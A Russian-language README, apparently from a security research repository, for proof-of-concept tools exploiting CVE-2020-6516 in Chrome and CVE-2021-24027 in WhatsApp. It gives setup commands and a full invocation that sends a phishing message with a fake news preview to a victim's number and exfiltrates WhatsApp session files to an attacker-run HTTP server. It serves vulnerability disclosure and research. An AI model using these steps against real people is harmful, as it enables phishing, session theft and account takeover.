
PoC и инструменты для эксплуатации CVE-2020-6516 (Chrome) и CVE-2021-24027 (WhatsApp)
Этот репозиторий содержит код PoC и инструменты, которые были разработаны в рамках нашего исследования [01] по удаленной эксплуатации уязвимостей Man-in-the-Disk (MitD) в WhatsApp для Android. Как обсуждалось в нашей записи в блоге, код и сопутствующие скрипты, находящиеся здесь, использовались для эксплуатации CVE-2020-6516 (Chrome) [02] и CVE-2021-24027 (WhatsApp) [03].
Структура этого репозитория следующая:
Текущий каталог содержит Python-инструмент, который перехватывает WhatsApp с помощью Frida, отправляет фишинговое сообщение с нагрузкой для обхода CORS и запускает HTTP-сервер, на который отправляются извлеченные файлы сессий с устройства жертвы.
tls12_psk_extract/ содержит набор инструментов MitM для TLS v1.2. Смотрите README.md в этом каталоге для получения дополнительной информации о подготовке среды MitM.
watls_psk_extract/ содержит набор инструментов MitM для TLS v1.3 (WaTLS). Смотрите README.md в этом каталоге для получения дополнительной информации о подготовке среды MitM.
openssl-1.1.1f-patches/ содержит патчи OpenSSL 1.1.1f, необходимые для настройки сред MitM TLS v1.2 и/или TLS v1.3.
secrets/ содержит простой shell-скрипт и конфигурацию OpenSSL для генерации сертификатов, аналогичных используемым инфраструктурой TLS v1.3 WhatsApp. Сгенерированные ключи и сертификаты могут использоваться как для MitM TLS v1.2, так и v1.3.
И последнее, но не менее важное: misc/ содержит различные скрипты Frida, которые использовались для целей тестирования и отладки в ходе нашего исследования и могут быть полезны другим исследователям.
Для тестирования PoC вам потребуется устройство Android с WhatsApp 2.20.206.22 [04]. Хотя наш код изначально был разработан для версии 2.19.355, и вы можете найти соответствующие фрагменты в frida_scripts/, эта версия в настоящее время считается "устаревшей" и не будет работать.
Перед запуском PoC рекомендуется скомпилировать как можно меньшую часть DEX-кода WhatsApp. Это может упреждающе помочь избежать проблем, таких как невозможность Frida перехватить определенные методы.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Загрузите сервер Frida и поместите его на устройство Android в /data/local/tmp, оставив имя файла по умолчанию. Версия 12.8.10 протестирована и, как известно, работает хорошо. Вы можете загрузить более новую, если предпочитаете. PoC автоматически обнаружит бинарный файл сервера Frida и попытается выполнить его с соответствующими аргументами командной строки.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
Основная логика эксплойта реализована в main.py. Файлы adb.py и frida_util.py — это урезанные версии инструментов, которые мы используем внутри компании для различных задач отладки на устройствах Android.
Чтобы запустить PoC, подключите устройство Android к компьютеру и выполните следующую команду:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
Параметры командной строки, передаваемые main.py, следующие:
-s — серийный номер используемого устройства Android, если у атакующего несколько устройств Android, подключенных к компьютеру.
-a и -p — соответственно адрес и порт HTTP-сервера, на который будут отправлены извлеченные сессии.
-r — указывает main.py запустить вышеупомянутый HTTP-сервер на локальном компьютере. Если вы не передаете -r, убедитесь, что запустили server.py на хосте, указанном в -a и -p.
Позиционные аргументы следующие:
images/guardian.jpg — изображение JPG, которое будет использоваться как поддельный предварительный просмотр сообщения, чтобы заставить жертву нажать на него.
[email protected] — номер мобильного телефона жертвы в формате WhatsApp. Обычно это префикс страны, за которым следует номер мобильного телефона. Например, греческие номера (+30) выглядят как [email protected].
"Rush for Mediterranean gas" — произвольная строка, используемая в качестве подписи к сообщению.
Пример использования в реальной жизни можно посмотреть в нашей записи в блоге, и более конкретно — в демонстрационных видео.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027